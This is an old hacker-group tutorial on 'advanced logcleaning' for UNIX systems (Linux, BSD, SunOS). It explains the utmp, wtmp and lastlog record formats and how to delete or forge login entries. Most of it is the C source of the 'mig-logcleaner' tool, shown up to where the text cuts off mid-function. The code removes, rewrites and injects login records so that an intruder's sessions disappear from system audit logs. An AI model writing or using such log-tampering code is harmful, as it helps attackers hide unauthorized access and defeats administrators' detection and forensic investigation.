----------------------------------< M I G >----------------------------------< by no1 |Security Development| Advanced Logcleaning in the UNIX Environment -------------------------------------------- INDEX: ------ x01\ Introduction x02\ Basic explanation x03\ File structures x04\ Logging in x05\ Logging out x06\ Fun stuff a) Handling lastlog b) Adding a new entry c) Removing an entry d) Modifying utmp entries e) Modifying lastlog entries x07\ mig-logcleaner.c x08\ Conclusion x01\ Introduction ----------------- In this paper I will explain how to clean logs on a UNIX system. This is not another logcleaning tut that shows you how to grep your ip out of /var/log/messages file, it's a more low level explanation on removing yourself out of files like wtmp, utmp and lastlog for programmers. x02\ Basic explanation ----------------------- Basically every time person logs into a UNIX system, this log on is recorded in wtmp/x, utmp/x and lastlog files. Those files are not in the same places on all UNIX systems. Linux, BSD and SUN are the 3 OS's that I am going to be using as example in this tut. There are many more UNIXes, but location of those log files is more or less the same as in the below examples: Linux: ****** paths can be looked up in /usr/local/paths.h utmp - /var/run/utmp wtmp - /var/log/wtmp lastlog - /var/log/lastlog BSD: **** paths can be looked up in /usr/include/utmp.h utmp - /var/run/utmp wtmp - /var/log/wtmp lastlog - /var/log/lastlog SUN: **** paths can be looked up in /usr/include/utmp.h & /usr/include/utmpx.h utmp - /var/adm/utmp (not always used) wtmp - /var/adm/wtmp (not always used) utmpx - /var/adm/utmpx wtmpx - /var/adm/wtmpx lastlog - /var/adm/lastlog utmp/utmpx file is used to store info about currently logged in users. This info can be viewed with commands like "w" and "who". This file is usually cleared at the startup of the machine. wtmp/wtmpx file is used to store info about all the users that ever logged into the system lastlog file is used to store last login info of all users on the system x03\ File structures -------------------- utmp/utmpx and wtmp/wtmpx files are structured exactly the same way and info written to it is of the same nature. lastlog file structure is different form the above files. When person logs into a system, an entry gets written into utmp/x, wtmp/x and lastlog files. When person logs out, an exit entry gets written into wtmp/x file and an entry in utmp/x gets modified to symbolize that user is logged out of the machine. How those entries are structured can be looked up in the C include files utmp.h utmpx.h and lastlog.h. utmp.h file contains the structure "utmp" which is used to make entries in utmp and wtmp files (utmpx.h is for utmpx and wtmpx files) and definition of a structure "lastlog" which is used to make entries in lastlog file: Linux: ****** utmp.h ------ #define UT_LINESIZE 32 #define UT_NAMESIZE 32 #define UT_HOSTSIZE 256 struct utmp { short int ut_type; /* Type of login. */ pid_t ut_pid; /* Process ID of login process. */ char ut_line[UT_LINESIZE]; /* Devicename. */ char ut_id[4]; /* Inittab ID. */ char ut_user[UT_NAMESIZE]; /* Username. */ char ut_host[UT_HOSTSIZE]; /* Hostname for remote login. */ struct exit_status ut_exit; /* Exit status of a process marked as DEAD_PROCESS. */ long int ut_session; /* Session ID, used for windowing. */ struct timeval ut_tv; /* Time entry was made. */ int32_t ut_addr_v6[4]; /* Internet address of remote host. */ char __unused[20]; /* Reserved for future use. */ }; struct lastlog { __time_t ll_time; char ll_line[UT_LINESIZE]; char ll_host[UT_HOSTSIZE]; }; struct exit_status { short int e_termination; /* Process termination status. */ short int e_exit; /* Process exit status. */ }; #define USER_PROCESS 7 /* Normal process. */ #define DEAD_PROCESS 8 /* Terminated process. */ BSD: **** utmp.h ------ #define UT_NAMESIZE 32 (obsd) 16 (fbsd) #define UT_LINESIZE 8 #define UT_HOSTSIZE 256 (obsd) 16 (fbsd) struct utmp { char ut_line[UT_LINESIZE]; char ut_name[UT_NAMESIZE]; char ut_host[UT_HOSTSIZE]; time_t ut_time; }; struct lastlog { time_t ll_time; char ll_line[UT_LINESIZE]; char ll_host[UT_HOSTSIZE]; }; SUN: **** utmp.h ------ struct utmp { char ut_user[8]; /* User login name */ char ut_id[4]; /* /etc/inittab id(usually line #) */ char ut_line[12]; /* device name (console, lnxx) */ short ut_pid; /* short for compat. - process id */ short ut_type; /* type of entry */ struct exit_status ut_exit; /* The exit status of a process */ time_t ut_time; /* time entry was made */ }; struct exit_status { short e_termination; /* Process termination status */ short e_exit; /* Process exit status */ }; #define USER_PROCESS 7 /* A user process */ #define DEAD_PROCESS 8 utmpx.h ------- struct utmpx { char ut_user[32]; /* user login name */ char ut_id[4]; /* inittab id */ char ut_line[32]; /* device name (console, lnxx) */ pid_t ut_pid; /* process id */ short ut_type; /* type of entry */ struct exit_status ut_exit; /* process termination/exit status */ struct timeval ut_tv; /* time entry was made */ long ut_session; /* session ID, used for windowing */ long pad[5]; /* reserved for future use */ short ut_syslen; /* significant length of ut_host */ char ut_host[257]; /* remote host name */ }; lastlog.h --------- struct lastlog { time_t ll_time; char ll_line[8]; char ll_host[16]; /* same as in utmp */ }; The info above is all the info needed for us to add/remove/modify entries in logs on UNIX systems. x04\ Logging in -------------- When a user logs in, a utmp/x structure gets filled with that users details (username,device,type of entry,logging time,host etc). Note that on Linux and SUN ut_type gets set to 7 (user process), and that structure gets written to the end of the utmp/x and wtmp/x files. Then lastlog structure gets filled up with users name, logging time and host name, and this structure gets written in the lastlog file at position (UID * sizeof(struct lastlog)) where UID is a UID of a user who's lastlog entry gets modified. x05\ Logging out --------------- When user logs out, utmp/x entry for that user gets modified to show that user is not logged on anymore. On Linux and SUN ut_type value is modified from 7 to 8 (dead process) and login time values gets changed to logout time. Same exit entry also gets written to wtmp/x file. So when you type "last -10" you see info taken from wtmp/x file login time is pulled from login record in wtmp/x and logout time is taken from exit entry that was maid when user logged out. x06\ Fun stuff -------------- a) Lets say you logged onto the server with username "john", entries for this login gets written into utmp/s and wtmp/x file and your lastlog entry for that user gets modified. You could write a tool to remove this entry out of utmp/x and wtmp/x files but remember to handle lastlog file correctly. Make sure that lastlog entry for user "john" gets changed to the details of the second entry of user "john" in wtmp/x file before you remove the entry from utmp/x and wtmp/x files. In other words, lastlog entry for a specific user must always have the same details as the first entry for that user in wtmp/x file. And of course if there is only one login record for a specific user in wtmp/x file, then if you remove that user, lastlog entry for that user must be zeroed. b) Adding a new entry is very simple. All you have to do is fill the utmp struct and write that struct to the end of wtmp/x file (or utmp/x file if you want to make it look like user is currently logged in). c) Removing entry is just as simple. Open wtmp/x file and some temp file. Then read chunks of data sized sizeof(struct utmp/x) into a declared utmp struct. If this struct doesn't contain the info of an entry that you want to remove, then write that struct into the opened temp file. When you find that entry that you want to remove, don't write it to temp file. Then just finish writing rest of entries into temp file. Then just overwrite the original wtmp/x file with the temp file. For example this would remove all the usernames "john" out of wtmp file: ---------------------------------[ CODE START ]--------------------------------- void remove_john() { struct utmp wtmp_record; char name[]="john"; char command[]="mv /tmp/WTMP.TMP /var/log/wtmp ; chmod 644 /var/log/wtmp"; int fd1,fd2; fd1=open("/var/log/wtmp",O_RDWR); fd2=open("/tmp/WTMP.TMP",O_RDWR|O_CREAT); lseek(fd1,0,SEEK_SET); lseek(fd2,0,SEEK_SET); while(read(fd1,(char *)&wtmp_record,sizeof(wtmp_record))==sizeof(wtmp_record)) { if(!strcmp(wtmp_record.ut_name,name)) { printf("Removed an entry of user john!"); } else { write(fd2,(char *)&wtmp_record,sizeof(wtmp_record)); } } close(fd1); close(fd1); system(command); } ----------------------------------[ CODE END ]---------------------------------- d) To modify an entry in wtmp/x file, you would do exactly as above, but instead of not writing a matched entry, you would modify that entry as you with and then write it to temp file. e) Method to modify the lastlog file is the same. The only tricky part is to find a right place in a lastlog file. As I mentioned before, lastlog entry for a specific user is at the position (UID * sizeof(struct lastlog)) bytes from the beginning of the lastlog file. For example this code finds a right position in a lastlog file for a user "john": ---------------------------------[ CODE START ]--------------------------------- struct passwd *password; int fd; password=getpwnam("john") fd=open("/var/log/lastlog",O_RDWR); lseek(fd,(long)password->pw_uid*sizeof(struct lastlog),0); ----------------------------------[ CODE END ]---------------------------------- x07\ mig-logcleaner.c --------------------- The following is a complete practical example of the discussion above. This code allows you to add/remove/modify entries in UNIX log files. It also contains a little shell script to grep out text strings out of all text files in /var/log/ type directory of your choice: mig-logcleaner.c ]---------------[ CODE START ]--------------------------------- /**************** name : mig-logcleaner.c version : 2.0 1.0 - first version 1.1 - fixed up old bugs and added utmpx/wtmpx support 1.2 - fixed "find" problem 1.3 - wasn't working on sun. fixed (fscking mess!!!) 1.4 - changed shell scripting part 1.5 - rewrote all thing to support BSD also added '-r' option to replace hostname entries in logs 1.6 - added username replacement capability 1.7 - added login/out time changing capability 1.8 - added capability of injecting entries into wtmp/x file 2.0 - recoded all this from 0 and fixed lots of fuckups creation date : 17th of January 2001 last updated : 9th of October 2002 author : no1 ( greyhats.za.net ) description : log cleaner that cleans wtmp, wtmpx, utmp, utmpx, lastlog and all log files in /var/log type dir tested on linux(x86), sun(sparc) and bsd(x86) usage : linux: gcc mig-logcleaner.c -o mig-logcleaner -DLINUX -Wall bsd: gcc mig-logcleaner.c -o mig-logcleaner -DBSD -Wall sun: gcc mig-logcleaner.c -o mig-logcleaner -DSUN -Wall ./mig-logcleaner extra : ya ya ya, i know there r thousand of log cleaners out there... the only reason i coded this is because i needed a cleaner that lets you specify which record specificaly you want to be removed. donno any log cleaner that does that... plus this tool automaticaly removes strings like and out of non-binary files in /var/log type of dirs where all logs are kept. an now it also supports modifying entries in records or even adding new records. if you have any comments or ideas, mail me at no1@greyhats.za.net or msg me at http://greyhats.za.net/guestbook/ ****************/ #include #include #include #include #include #include #include #include #include #ifdef LINUX #include #include #include #include #define UTMP UTMP_FILE #define WTMP WTMP_FILE #define LASTLOG _PATH_LASTLOG #endif #ifdef SUN #include #include #include #include #define UTMP UTMP_FILE #define WTMP WTMP_FILE #define LASTLOG "/var/adm/lastlog" #define UTMPX UTMPX_FILE #define WTMPX WTMPX_FILE #endif #ifdef BSD #include #define UTMP _PATH_UTMP #define WTMP _PATH_WTMP #define LASTLOG _PATH_LASTLOG #endif int usage(char *arg); int count_records(char *u, int a, int d); int utmp_clean(char *u, int n, int tota, int d); int utmpx_clean(char *u, int n, int tota, int d); int lastlog_clean(char *u, int d, char *h, char *t, long i, int n); int replase(char *u, int n, int tota1, int tota2, char *U, char *H, long I, long O, int d); int addd(char *u, int n, int tota1, int tota2, char *U, char *T, char *H, long I, long O, int d); int txt_clean(char *D, char *a, char *b, int d); static char *lastlog_hostname = 0; static char *lastlog_time = 0; static char *lastlog_tty = 0; int c = 1, l = 0; int main(int argc, char **argv) { char opt; char user[16]; char dir[256]; char string1[256]; char string2[256]; char new_user[16]; char new_tty[16]; char new_host[256]; char ll_h[256]; char ll_i[256]; char ll_t[256]; long new_login = 0; long new_logout = 0; int replace = 0; int add = 0; int record = (-1); int total1 = 0; int total2 = 0; int debug = 0; int user_check = 0; int dir_check = 0; int new_check = 0; int open_check1 = 0; #ifdef SUN int open_check2 = 0; #endif int flag = 0; bzero(user, sizeof(user)); bzero(dir, sizeof(dir)); bzero(string1, sizeof(string1)); bzero(string2, sizeof(string2)); bzero(new_user, sizeof(new_user)); bzero(new_tty, sizeof(new_tty)); bzero(new_host, sizeof(new_host)); bzero(ll_h, sizeof(ll_h)); bzero(ll_i, sizeof(ll_i)); bzero(ll_t, sizeof(ll_t)); #ifdef SUN strcpy(dir, "/var/adm/"); #endif #ifndef SUN strcpy(dir, "/var/log/"); #endif while((opt = getopt(argc, argv, "u:n:D:a:b:U:T:H:I:O:RAd")) != -1) { switch (opt) { case 'u': { strcpy(user, optarg); user_check++; break; } case 'n': { record = atoi(optarg); break; } case 'D': { bzero(dir, sizeof(dir)); strcpy(dir, optarg); dir_check++; break; } case 'a': { strcpy(string1, optarg); flag++; break; } case 'b': { strcpy(string2, optarg); flag++; break; } case 'U': { strcpy(new_user, optarg); new_check++; break; } case 'T': { strcpy(new_tty, optarg); new_check++; break; } case 'H': { strcpy(new_host, optarg); new_check++; break; } case 'I': { new_login = atol(optarg); new_check++; break; } case 'O': { new_logout = atol(optarg); new_check++; break; } case 'R': { replace++; break; } case 'A': { add++; break; } case 'd': { debug++; break; } } } if((user_check == 0 && add == 0 && dir_check == 0 && flag == 0) || (replace == 1 && add == 1) || (add == 1 && new_check != 5) || (replace == 1 && user_check == 0) || (replace == 1 && new_check == 0) || (replace == 1 && record == 0) || (dir_check == 1 && flag == 0)) { usage(argv[0]); exit(0); } printf("\n******************************\n"); printf("* MIG Logcleaner v2.0 by no1 *\n"); printf("******************************\n\n"); if(record == (-1)) { record = 1; } if(user[0] != 0) total1 = count_records(user, 1, debug); if(total1 == (-1)) { if(debug == 1) fprintf(stderr, "Error opening %s file to count records\n", WTMP); open_check1++; } if(open_check1 != 1 && replace == 0 && add == 0 && user_check != 0 && (record <= total1)) { utmp_clean(user, record, total1, debug); } #ifdef SUN if(user[0] != 0) total2 = count_records(user, 2, debug); if(total2 == (-1)) { if(debug == 1) fprintf(stderr, "Error opening %s file to count records\n", WTMPX); open_check2++; } if(open_check2 != 1 && replace == 0 && add == 0 && user_check != 0 && (record <= total2)) { utmpx_clean(user, record, total2, debug); } #endif if(replace == 1 && (record <= total1) #ifdef SUN && (record <= total2) #endif ) { if(l == 1) { strcpy(ll_h, lastlog_hostname); strcpy(ll_i, lastlog_time); strcpy(ll_t, lastlog_tty); } replase(user, record, total1, total2, new_user, new_host, new_login, new_logout, debug); } if(add == 1) { if(user[0] != 0 && (record > total1) #ifdef SUN && (record > total2) #endif ) { usage(argv[0]); exit(0); } addd(user, record, total1, total2, new_user, new_tty, new_host, new_login, new_logout, debug); } if((record == 1 || record == 0) && add == 0) { if(l == 1) { strcpy(ll_h, lastlog_hostname); strcpy(ll_i, lastlog_time); strcpy(ll_t, lastlog_tty); } lastlog_clean(user, debug, ll_h, ll_t, atol(ll_i), record); } if(flag != 0) { txt_clean(dir, string1, string2, debug); } printf("\n"); return (0); } int count_records(char *u, int a, int d) { int fd; int counter = 0; #ifdef SUN if(a == 2) { struct utmpx utmpx_record; if((fd = open(WTMPX, O_RDWR)) == -1) { return (-1); } while(read(fd, (char *) &utmpx_record, sizeof(utmpx_record))) { if(!strcmp(utmpx_record.ut_name, u)) { if(utmpx_record.ut_type != 8) { counter++; } } } fprintf(stdout, "[0x%d] %d entries \"%s\" detected in %s\n", c++, counter, u, WTMPX); } #endif if(a == 1) { struct utmp utmp_record; if((fd = open(WTMP, O_RDWR)) == -1) { return (-1); } while(read(fd, (char *) &utmp_record, sizeof(utmp_record))) { if(!strcmp(utmp_record.ut_name, u)) { #ifndef BSD if(utmp_record.ut_type != 8) #endif counter++; } } fprintf(stdout, "[0x%d] %d users \"%s\" detected in %s\n", c++, counter, u, WTMP); } close(fd); return counter; } int utmp_clean(char *u, int n, int tota, int d) { struct utmp utmp_record; struct utmp wtmp_record; int fd1, fd2; int counter = 0; #ifndef BSD int pid; #endif char line[32]; char host[256]; char command[256]; #ifdef BSD long time; #endif bzero(line, sizeof(line)); bzero(host, sizeof(host)); bzero(command, sizeof(command)); if((fd1 = open(WTMP, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMP); exit(-1); } if((fd2 = open("/tmp/WTMP.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMP.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &wtmp_record, sizeof(wtmp_record)) == sizeof(wtmp_record)) { if((!strcmp(wtmp_record.ut_name, u)) #ifndef BSD && (wtmp_record.ut_type != 8) #endif ) { counter++; if(counter == (tota + 1 - n)) { if(n != 0) fprintf(stdout, "[0x%d] Removed \"%s\" entry #%d from %s\n", c++, u, n, WTMP); #ifndef BSD pid = wtmp_record.ut_pid; strcpy(line, wtmp_record.ut_line); #ifndef SUN strcpy(host, wtmp_record.ut_host); #endif #endif #ifdef BSD time = wtmp_record.ut_time; strcpy(line, wtmp_record.ut_line); #endif } else { if(counter == (tota - n)) { char length[16]; l++; bzero(length, sizeof(length)); #ifndef SUN lastlog_tty = (char *) malloc(strlen(wtmp_record.ut_line) + 1); strcpy(lastlog_tty, wtmp_record.ut_line); lastlog_hostname = (char *) malloc(strlen(wtmp_record.ut_host) + 1); strcpy(lastlog_hostname, wtmp_record.ut_host); sprintf(length, "%ld", wtmp_record.ut_time); lastlog_time = (char *) malloc(strlen(length) + 1); #ifdef LINUX sprintf(lastlog_time, "%ld", wtmp_record.ut_tv.tv_sec); #else sprintf(lastlog_time, "%ld", wtmp_record.ut_time); #endif #endif } if(n != 0) { write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } } else { write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } close(fd1); close(fd2); if(n == 0 && counter != 0) fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, WTMP); counter = 0; if((fd1 = open(UTMP, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", UTMP); exit(-1); } if((fd2 = open("/tmp/UTMP.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/UTMP.TMP file\n"); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &utmp_record, sizeof(utmp_record)) == sizeof(utmp_record)) { if(!strcmp(utmp_record.ut_name, u)) { counter++; #ifndef BSD if((pid == utmp_record.ut_pid) && (!strcmp(utmp_record.ut_line, line)) #ifndef SUN && (!strcmp(utmp_record.ut_host, host)) #endif ) { if(n != 0) fprintf(stdout, "[0x%d] Removed \"%s\" coresponding entry from %s\n", c++, u, UTMP); } #endif #ifdef BSD if((time == utmp_record.ut_time) && (!strcmp(utmp_record.ut_line, line))) { if(n != 0) fprintf(stdout, "[0x%d] Removed \"%s\" coresponding entry from %s\n", c++, u, UTMP); } #endif else { if(n != 0) { write(fd2, (char *) &utmp_record, sizeof(utmp_record)); } } } else { write(fd2, (char *) &utmp_record, sizeof(utmp_record)); } } close(fd1); close(fd2); if(n == 0 && counter != 0) fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, UTMP); sprintf(command, "mv /tmp/WTMP.TMP %s;mv /tmp/UTMP.TMP %s;chmod 644 %s %s", WTMP, UTMP, WTMP, UTMP); system(command); return (0); } #ifdef SUN int utmpx_clean(char *u, int n, int tota, int d) { struct utmpx utmpx_record; struct utmpx wtmpx_record; int fd1, fd2; int counter = 0; int pid; char line[32]; char host[256]; char command[256]; bzero(line, sizeof(line)); bzero(host, sizeof(host)); bzero(command, sizeof(command)); if((fd1 = open(WTMPX, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMPX); exit(-1); } if((fd2 = open("/tmp/WTMPX.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMPX.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &wtmpx_record, sizeof(wtmpx_record))) { if((!strcmp(wtmpx_record.ut_name, u)) && (wtmpx_record.ut_type != 8)) { counter++; if(counter == (tota + 1 - n)) { if(n != 0) fprintf(stdout, "[0x%d] Removed \"%s\" entry #%d from %s\n", c++, u, n, WTMPX); pid = wtmpx_record.ut_pid; strcpy(line, wtmpx_record.ut_line); strcpy(host, wtmpx_record.ut_host); } else { if(counter == (tota - n)) { char length[16]; l++; bzero(length, sizeof(length)); lastlog_tty = (char *) malloc(strlen(wtmpx_record.ut_line) + 1); strcpy(lastlog_tty, wtmpx_record.ut_line); lastlog_hostname = (char *) malloc(strlen(wtmpx_record.ut_host) + 1); strcpy(lastlog_hostname, wtmpx_record.ut_host); sprintf(length, "%ld", wtmpx_record.ut_tv.tv_sec); lastlog_time = (char *) malloc(strlen(length) + 1); sprintf(lastlog_time, "%ld", wtmpx_record.ut_tv.tv_sec); } if(n != 0) { write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } } else { write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } close(fd1); close(fd2); if(n == 0) fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, WTMPX); counter = 0; if((fd1 = open(UTMPX, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", UTMPX); exit(-1); } if((fd2 = open("/tmp/UTMPX.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/UTMPX.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &utmpx_record, sizeof(utmpx_record))) { if((!strcmp(utmpx_record.ut_name, u))) { counter++; if((pid == utmpx_record.ut_pid) && (!strcmp(utmpx_record.ut_line, line)) && (!strcmp(utmpx_record.ut_host, host))) { if(n != 0) fprintf(stdout, "[0x%d] Removed \"%s\" coresponding entry from %s\n", c++, u, UTMPX); } else { if(n != 0) { write(fd2, (char *) &utmpx_record, sizeof(utmpx_record)); } } } else { write(fd2, (char *) &utmpx_record, sizeof(utmpx_record)); } } close(fd1); close(fd2); if(n == 0) fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, UTMPX); sprintf(command, "mv /tmp/WTMPX.TMP %s;mv /tmp/UTMPX.TMP %s;chmod 644 %s %s", WTMPX, UTMPX, WTMPX, UTMPX); system(command); return (0); } #endif int lastlog_clean(char *u, int d, char *h, char *t, long i, int n) { struct passwd *password; struct lastlog last; int fd; bzero((char *) &last, sizeof(last)); if((password = getpwnam(u))) { if((fd = open(LASTLOG, O_RDWR)) >= 0) { lseek(fd, (long) password->pw_uid * sizeof(struct lastlog), 0); if(l == 1 && n != 0) { memcpy(last.ll_host, h, sizeof(last.ll_host)); memcpy(last.ll_line, t, sizeof(last.ll_line)); last.ll_time = i; } fprintf(stdout, "[0x%d] Changing \"%s\" coresponding entry in %s\n", c++, u, LASTLOG); write(fd, (char *) &last, sizeof(last)); close(fd); } } return (0); } int replase(char *u, int n, int tota1, int tota2, char *U, char *H, long I, long O, int d) { struct utmp utmp_record; struct utmp wtmp_record; #ifndef BSD struct timeval tv_start; struct timeval tv_end; int pid; #endif #ifdef BSD struct timespec tv_start; struct timespec tv_end; #endif #ifdef SUN struct utmpx utmpx_record; struct utmpx wtmpx_record; #endif int fd1, fd2; int counter = 0; int replace_check = 0; char line[32]; char host[256]; char command[256]; #ifdef BSD long time; tv_start.tv_sec = I; tv_start.tv_nsec = 0; tv_end.tv_sec = O; tv_end.tv_nsec = 0; #else tv_start.tv_sec = I; tv_start.tv_usec = 0; tv_end.tv_sec = O; tv_end.tv_usec = 0; #endif bzero(line, sizeof(line)); bzero(host, sizeof(host)); bzero(command, sizeof(command)); if(tota1 != (-1)) { if((fd1 = open(WTMP, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMP); exit(-1); } if((fd2 = open("/tmp/WTMP.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMP.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &wtmp_record, sizeof(wtmp_record)) == sizeof(wtmp_record)) { if((!strcmp(wtmp_record.ut_name, u)) #ifndef BSD && (wtmp_record.ut_type != 8) #endif ) { counter++; if(counter == (tota1 + 1 - n)) { replace_check++; fprintf(stdout, "[0x%d] Replaced \"%s\" entry #%d from %s\n", c++, u, n, WTMP); #ifndef BSD pid = wtmp_record.ut_pid; strcpy(line, wtmp_record.ut_line); #ifndef SUN strcpy(host, wtmp_record.ut_host); #endif #endif #ifdef BSD time = wtmp_record.ut_time; strcpy(line, wtmp_record.ut_line); strcpy(host, wtmp_record.ut_host); #endif if(U[0] != 0) { bzero(wtmp_record.ut_name, sizeof(wtmp_record.ut_name)); strcpy(wtmp_record.ut_name, U); } #ifndef SUN if(H[0] != 0) { bzero(wtmp_record.ut_host, sizeof(wtmp_record.ut_host)); strcpy(wtmp_record.ut_host, H); } #endif if(I != 0) { #ifdef LINUX wtmp_record.ut_tv.tv_sec = tv_start.tv_sec; #else wtmp_record.ut_time = tv_start.tv_sec; #endif } write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } else { if(counter == (tota1 - n)) { char length[16]; l++; bzero(length, sizeof(length)); #ifndef SUN lastlog_tty = (char *) malloc(strlen(wtmp_record.ut_line) + 1); strcpy(lastlog_tty, wtmp_record.ut_line); lastlog_hostname = (char *) malloc(strlen(wtmp_record.ut_host) + 1); strcpy(lastlog_hostname, wtmp_record.ut_host); sprintf(length, "%ld", wtmp_record.ut_time); lastlog_time = (char *) malloc(strlen(length) + 1); #ifdef LINUX sprintf(lastlog_time, "%ld", wtmp_record.ut_tv.tv_sec); #else sprintf(lastlog_time, "%ld", wtmp_record.ut_time); #endif #endif } write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } else { if((replace_check == 1) && (!strcmp(wtmp_record.ut_line, line)) #ifndef BSD && (wtmp_record.ut_type == 8) #endif ) { replace_check--; if(O != 0) { #ifdef LINUX wtmp_record.ut_tv.tv_sec = tv_end.tv_sec; #else wtmp_record.ut_time = tv_end.tv_sec; #endif } } write(fd2, (char *) &wtmp_record, sizeof(wtmp_record)); } } close(fd1); close(fd2); counter = 0; replace_check = 0; if((fd1 = open(UTMP, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", UTMP); exit(-1); } if((fd2 = open("/tmp/UTMP.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/UTMP.TMP file\n"); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &utmp_record, sizeof(utmp_record)) == sizeof(utmp_record)) { if(!strcmp(utmp_record.ut_name, u)) { counter++; #ifndef BSD if((pid == utmp_record.ut_pid) && #else if((time == utmp_record.ut_time) && #endif (!strcmp(utmp_record.ut_line, line)) #ifdef LINUX && (!strcmp(utmp_record.ut_host, host)) #endif ) { replace_check++; fprintf(stdout, "[0x%d] Replaced \"%s\" coresponding entry from %s\n", c++, u, UTMP); if(U[0] != 0) { bzero(utmp_record.ut_name, sizeof(utmp_record.ut_name)); strcpy(utmp_record.ut_name, U); } #ifndef SUN if(H[0] != 0) { bzero(utmp_record.ut_host, sizeof(utmp_record.ut_host)); strcpy(utmp_record.ut_host, H); } #endif if(I != 0) { #ifdef LINUX utmp_record.ut_tv.tv_sec = tv_start.tv_sec; #else utmp_record.ut_time = tv_start.tv_sec; #endif } write(fd2, (char *) &utmp_record, sizeof(utmp_record)); } else { write(fd2, (char *) &utmp_record, sizeof(utmp_record)); } } else { if((replace_check == 1) && (!strcmp(utmp_record.ut_line, line)) #ifndef BSD && (utmp_record.ut_type == 8) #endif ) { replace_check--; if(O != 0) { #ifdef LINUX utmp_record.ut_tv.tv_sec = tv_end.tv_sec; #else utmp_record.ut_time = tv_end.tv_sec; #endif } } write(fd2, (char *) &utmp_record, sizeof(utmp_record)); } } close(fd1); close(fd2); replace_check = 0; sprintf(command, "mv /tmp/WTMP.TMP %s;mv /tmp/UTMP.TMP %s;chmod 644 %s %s", WTMP, UTMP, WTMP, UTMP); system(command); } #ifdef SUN l = 0; if(tota2 != (-1)) { if((fd1 = open(WTMPX, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", WTMPX); exit(-1); } if((fd2 = open("/tmp/WTMPX.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/WTMPX.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &wtmpx_record, sizeof(wtmpx_record))) { if((!strcmp(wtmpx_record.ut_name, u)) && (wtmpx_record.ut_type != 8)) { counter++; if(counter == (tota2 + 1 - n)) { replace_check++; fprintf(stdout, "[0x%d] Replaced \"%s\" entry #%d from %s\n", c++, u, n, WTMPX); pid = wtmpx_record.ut_pid; strcpy(line, wtmpx_record.ut_line); strcpy(host, wtmpx_record.ut_host); if(U[0] != 0) { bzero(wtmpx_record.ut_name, sizeof(wtmpx_record.ut_name)); strcpy(wtmpx_record.ut_name, U); } if(H[0] != 0) { bzero(wtmpx_record.ut_host, sizeof(wtmpx_record.ut_host)); strcpy(wtmpx_record.ut_host, H); } if(I != 0) { wtmpx_record.ut_tv.tv_sec = tv_start.tv_sec; } write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } else { if(counter == (tota2 - n)) { char length[16]; l++; bzero(length, sizeof(length)); lastlog_tty = (char *) malloc(strlen(wtmpx_record.ut_line) + 1); strcpy(lastlog_tty, wtmpx_record.ut_line); lastlog_hostname = (char *) malloc(strlen(wtmpx_record.ut_host) + 1); strcpy(lastlog_hostname, wtmpx_record.ut_host); sprintf(length, "%ld", wtmpx_record.ut_tv.tv_sec); lastlog_time = (char *) malloc(strlen(length) + 1); sprintf(lastlog_time, "%ld", wtmpx_record.ut_tv.tv_sec); } write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } else { if((replace_check == 1) && (!strcmp(wtmpx_record.ut_line, line)) && (wtmpx_record.ut_type == 8)) { replace_check--; if(O != 0) { wtmpx_record.ut_tv.tv_sec = tv_end.tv_sec; } } write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record)); } } close(fd1); close(fd2); counter = 0; replace_check = 0; if((fd1 = open(UTMPX, O_RDWR)) == -1) { if(d == 1) fprintf(stderr, "Error opening %s file\n", UTMPX); exit(-1); } if((fd2 = open("/tmp/UTMPX.TMP", O_RDWR | O_CREAT)) == -1) { if(d == 1) fprintf(stderr, "Error opening /tmp/UTMPX.TMP file\n"); exit(-1); } lseek(fd1, 0, SEEK_SET); lseek(fd2, 0, SEEK_SET); while(read(fd1, (char *) &utmpx_record, sizeof(utmpx_record))) { if((!strcmp(utmpx_record.ut_name, u))) { counter++; if((pid == utmpx_record.ut_pid) && 